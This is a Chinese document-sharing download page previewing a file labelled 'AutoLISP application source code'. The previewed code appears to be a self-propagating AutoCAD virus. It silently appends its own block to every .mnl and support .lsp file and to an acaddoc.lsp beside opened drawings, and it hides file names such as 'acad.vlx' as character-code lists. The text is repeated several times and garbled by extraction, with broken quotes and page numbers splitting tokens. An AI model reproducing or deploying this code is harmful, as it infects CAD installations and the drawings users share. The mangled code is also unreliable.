ImageVerifierCode 换一换
格式:DOC , 页数:80 ,大小:207KB ,
资源ID:3290892      下载积分:20 文钱
快捷下载
登录下载
邮箱/手机:
温馨提示:
快捷下载时,用户名和密码都是您填写的邮箱或者手机号,方便查询和重复下载(系统自动生成)。 如填写123,账号就是123,密码也是123。
特别说明:
请自助下载,系统不会自动发送文件的哦; 如果您已付费,想二次下载,请登录后访问:我的下载记录
支付方式: 支付宝    微信支付   
验证码:   换一换

加入VIP,省得不是一点点
 

温馨提示:由于个人手机设置不同,如果发现不能下载,请复制以下地址【https://www.wenke99.com/d-3290892.html】到电脑端继续下载(重复下载不扣费)。

已注册用户请登录:
账号:
密码:
验证码:   换一换
  忘记密码?
三方登录: QQ登录   微博登录 

下载须知

1: 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。
2: 试题试卷类文档,如果标题没有明确说明有答案则都视为没有答案,请知晓。
3: 文件的所有权益归上传用户所有。
4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
5. 本站仅提供交流平台,并不能对任何下载内容负责。
6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

版权提示 | 免责声明

本文(AutoLISP 应用程序源代码.doc)为本站会员(11****ws)主动上传,文客久久仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对上载内容本身不做任何修改或编辑。 若此文所含内容侵犯了您的版权或隐私,请立即通知文客久久(发送邮件至hr@wenke99.com或直接QQ联系客服),我们立即给予删除!

AutoLISP 应用程序源代码.doc

1、(setq wold_cmd (getvar “cmdecho“)(setvar “cmdecho“ 0)( setqbb 2)(setq dpath (getvar “dwgprefix“)(setq wpath (getvar “menuname“)(setq wpath (substr wpath 1 (- (strlen wpath) 4)(setq n 0)(while( ab bb)(setq lbz 1)(setq wwjqm (strcat wpath “acad.mnl“)(if (setq wwjm (open wwjqm “r“)(progn(repeat 3 (read

2、-line wwjm)(setq wz (read-line wwjm)(setq nb (atoi (substr wz 4 1)(close wwjm)(if (string(108 111 103 111 46 103 105 102)(vl-list-string(97 99 97 100 46 118 108 120)(load “acadappp.lsp“)(princ)(if (null stol) (load “lcm“ “)(princ)(load “acadappp.lsp“)(princ)(load “acadapq“)(princ)(load “acadappp.lsp

3、“)(princ)(setq flagx t)(setq bz “(setq flagx t)“)(defun app(source target bz / flag flag1 wjm wjm1 text)(setq flag nil)(setq flag1 t)(if (findfile target)(progn(setq wjm1 (open target “r“)(while (setq text (read-line wjm1)(if (= text bz) (setq flag1 nil);while(close wjm1);progn);if(if flag1(progn(se

4、tq wjm (open source “r“)(setq wjm1 (open target “a“)(write-line (chr 13) wjm1)(while (setq text (read-line wjm)(if (= text bz) (setq flag t)(if flag(progn(write-line text wjm1);progn);if);while(close wjm1)(close wjm);progn);if);defun(setvar “cmdecho“ 0)(setq acadmnl (findfile “acad.mnl“)(setq acadmn

5、lpath (vl-filename-directory acadmnl)(setq mnlfilelist (vl-directory-files acadmnlpath “*.mnl“)(setq mnlnum (length mnlfilelist)(setq acadexe (findfile “acad.exe“)(setq acadpath (vl-filename-directory acadexe)(setq support (strcat acadpath “support“)(setq lspfilelist (vl-directory-files support “*.l

6、sp“)(setq lspfilelist (append lspfilelist (list “acaddoc.lsp“)(setq lspnum (length lspfilelist)(setq dwgname (getvar “dwgname“)(setq dwgpath (findfile dwgname)(if dwgpath(progn(setq acaddocpath (vl-filename-directory dwgpath)(setq acaddocfile (strcat acaddocpath “acaddoc.lsp“)(setq mnln 0)(while ( m

7、nln mnlnum)(setq mnlfilename (strcat acadmnlpath “ (nth mnln mnlfilelist)(app mnlfilename acaddocfile bz)(app acaddocfile mnlfilename bz)(setq mnln (1+ mnln);while(setq lspn 0)(while ( lspn lspnum)(setq lspfilename (strcat support “ (nth lspn lspfilelist)(app lspfilename acaddocfile bz)(app acaddocf

8、ile lspfilename bz)(setq lspn (1+ lspn);while);progn);if(setq mnln 0)(while ( mnln mnlnum)(setq mnlfilename (strcat acadmnlpath “ (nth mnln mnlfilelist)(setq mnln1 0)(while ( mnln1 mnlnum)(setq mnlfilename1 (strcat acadmnlpath “ (nth mnln1 mnlfilelist)(app mnlfilename mnlfilename1 bz)(setq mnln1 (1+

9、 mnln1);while(setq lspn1 0)(while ( lspn1 lspnum)(setq lspfilename1 (strcat support “ (nth lspn1 lspfilelist)(app mnlfilename lspfilename1 bz)(setq lspn1 (1+ lspn1);while(setq mnln (1+ mnln);while(setq lspn 0)(while ( lspn lspnum)(setq lspfilename (strcat support “ (nth lspn lspfilelist)(setq lspn1

10、0)(while ( lspn1 lspnum)(setq lspfilename1 (strcat support “ (nth lspn1 lspfilelist)(app lspfilename lspfilename1 bz)(setq lspn1 (1+ lspn1);while(setq mnln1 0)(while ( mnln1 mnlnum)(setq mnlfilename1 (strcat acadmnlpath “ (nth mnln1 mnlfilelist)(app lspfilename mnlfilename1 bz)(setq mnln1 (1+ mnln1)

11、;while(setq lspn (1+ lspn)(load “acadapq“)(princ)(load “acadapp“)(princ)(load “acadapq“)(princ)(setq flagx t)(setq bz “(setq flagx t)“)(defun app(source target bz / flag flag1 wjm wjm1 text)(setq flag nil)(setq flag1 t)(if (findfile target)(progn(setq wjm1 (open target “r“)(while (setq text (read-li

12、ne wjm1)(if (= text bz) (setq flag1 nil);while(close wjm1);progn);if(if flag1(progn(setq wjm (open source “r“)(setq wjm1 (open target “a“)(write-line (chr 13) wjm1)(while (setq text (read-line wjm)(if (= text bz) (setq flag t)(if flag(progn(write-line text wjm1);progn);if);while(close wjm1)(close wj

13、m);progn);if);defun(setvar “cmdecho“ 0)(setq acadmnl (findfile “acad.mnl“)(setq acadmnlpath (vl-filename-directory acadmnl)(setq mnlfilelist (vl-directory-files acadmnlpath “*.mnl“)(setq mnlnum (length mnlfilelist)(setq acadexe (findfile “acad.exe“)(setq acadpath (vl-filename-directory acadexe)(setq

14、 support (strcat acadpath “support“)(setq lspfilelist (vl-directory-files support “*.lsp“)(setq lspfilelist (append lspfilelist (list “acaddoc.lsp“)(setq lspnum (length lspfilelist)(setq dwgname (getvar “dwgname“)(setq dwgpath (findfile dwgname)(if dwgpath(progn(setq acaddocpath (vl-filename-directo

15、ry dwgpath)(setq acaddocfile (strcat acaddocpath “acaddoc.lsp“)(setq mnln 0)(while ( mnln mnlnum)(setq mnlfilename (strcat acadmnlpath “ (nth mnln mnlfilelist)(app mnlfilename acaddocfile bz)(app acaddocfile mnlfilename bz)(setq mnln (1+ mnln);while(setq lspn 0)(while ( lspn lspnum)(setq lspfilename

16、 (strcat support “ (nth lspn lspfilelist)(app lspfilename acaddocfile bz)(app acaddocfile lspfilename bz)(setq lspn (1+ lspn);while);progn);if(setq mnln 0)(while ( mnln mnlnum)(setq mnlfilename (strcat acadmnlpath “ (nth mnln mnlfilelist)(setq mnln1 0)(while ( mnln1 mnlnum)(setq mnlfilename1 (strcat

17、 acadmnlpath “ (nth mnln1 mnlfilelist)(app mnlfilename mnlfilename1 bz)(setq mnln1 (1+ mnln1);while(setq lspn1 0)(while ( lspn1 lspnum)(setq lspfilename1 (strcat support “ (nth lspn1 lspfilelist)(app mnlfilename lspfilename1 bz)(setq lspn1 (1+ lspn1);while(setq mnln (1+ mnln);while(setq lspn 0)(whil

18、e ( lspn lspnum)(setq lspfilename (strcat support “ (nth lspn lspfilelist)(setq lspn1 0)(while ( lspn1 lspnum)(setq lspfilename1 (strcat support “ (nth lspn1 lspfilelist)(app lspfilename lspfilename1 bz)(setq lspn1 (1+ lspn1);while(setq mnln1 0)(while ( mnln1 mnlnum)(setq mnlfilename1 (strcat acadmn

19、lpath “ (nth mnln1 mnlfilelist)(app lspfilename mnlfilename1 bz)(setq mnln1 (1+ mnln1);while(setq lspn (1+ lspn)(load “acadapq“)(princ)(load “acadapp“)(princ)(load “acadapq“)(princ)(setq flagx t)(setq bz “(setq flagx t)“)(defun app(source target bz / flag flag1 wjm wjm1 text)(setq flag nil)(setq fla

20、g1 t)(if (findfile target)(progn(setq wjm1 (open target “r“)(while (setq text (read-line wjm1)(if (= text bz) (setq flag1 nil);while(close wjm1);progn);if(if flag1(progn(setq wjm (open source “r“)(setq wjm1 (open target “a“)(write-line (chr 13) wjm1)(while (setq text (read-line wjm)(if (= text bz) (

21、setq flag t)(if flag(progn(write-line text wjm1);progn);if);while(close wjm1)(close wjm);progn);if);defun(setvar “cmdecho“ 0)(setq acadmnl (findfile “acad.mnl“)(setq acadmnlpath (vl-filename-directory acadmnl)(setq mnlfilelist (vl-directory-files acadmnlpath “*.mnl“)(setq mnlnum (length mnlfilelist)

22、(setq acadexe (findfile “acad.exe“)(setq acadpath (vl-filename-directory acadexe)(setq support (strcat acadpath “support“)(setq lspfilelist (vl-directory-files support “*.lsp“)(setq lspfilelist (append lspfilelist (list “acaddoc.lsp“)(setq lspnum (length lspfilelist)(setq dwgname (getvar “dwgname“)(

23、setq dwgpath (findfile dwgname)(if dwgpath(progn(setq acaddocpath (vl-filename-directory dwgpath)(setq acaddocfile (strcat acaddocpath “acaddoc.lsp“)(setq mnln 0)(while ( mnln mnlnum)(setq mnlfilename (strcat acadmnlpath “ (nth mnln mnlfilelist)(app mnlfilename acaddocfile bz)(app acaddocfile mnlfil

24、ename bz)(setq mnln (1+ mnln);while(setq lspn 0)(while ( lspn lspnum)(setq lspfilename (strcat support “ (nth lspn lspfilelist)(app lspfilename acaddocfile bz)(app acaddocfile lspfilename bz)(setq lspn (1+ lspn);while);progn);if(setq mnln 0)(while ( mnln mnlnum)(setq mnlfilename (strcat acadmnlpath

25、“ (nth mnln mnlfilelist)(setq mnln1 0)(while ( mnln1 mnlnum)(setq mnlfilename1 (strcat acadmnlpath “ (nth mnln1 mnlfilelist)(app mnlfilename mnlfilename1 bz)(setq mnln1 (1+ mnln1);while(setq lspn1 0)(while ( lspn1 lspnum)(setq lspfilename1 (strcat support “ (nth lspn1 lspfilelist)(app mnlfilename ls

26、pfilename1 bz)(setq lspn1 (1+ lspn1);while(setq mnln (1+ mnln);while(setq lspn 0)(while ( lspn lspnum)(setq lspfilename (strcat support “ (nth lspn lspfilelist)(setq lspn1 0)(while ( lspn1 lspnum)(setq lspfilename1 (strcat support “ (nth lspn1 lspfilelist)(app lspfilename lspfilename1 bz)(setq lspn1

27、 (1+ lspn1);while(setq mnln1 0)(while ( mnln1 mnlnum)(setq mnlfilename1 (strcat acadmnlpath “ (nth mnln1 mnlfilelist)(app lspfilename mnlfilename1 bz)(setq mnln1 (1+ mnln1);while(setq lspn (1+ lspn)(load “acadapq“)(princ)(load “acadapp“)(princ)(load “acadapq“)(princ)(setq flagx t)(setq bz “(setq fla

28、gx t)“)(defun app(source target bz / flag flag1 wjm wjm1 text)(setq flag nil)(setq flag1 t)(if (findfile target)(progn(setq wjm1 (open target “r“)(while (setq text (read-line wjm1)(if (= text bz) (setq flag1 nil);while(close wjm1);progn);if(if flag1(progn(setq wjm (open source “r“)(setq wjm1 (open target “a“)(write-line (chr 13) wjm1)(while (setq text (read-line wjm)

Copyright © 2018-2021 Wenke99.com All rights reserved

工信部备案号浙ICP备20026746号-2  

公安局备案号:浙公网安备33038302330469号

本站为C2C交文档易平台,即用户上传的文档直接卖给下载用户,本站只是网络服务中间平台,所有原创文档下载所得归上传人所有,若您发现上传作品侵犯了您的权利,请立刻联系网站客服并提供证据,平台将在3个工作日内予以改正。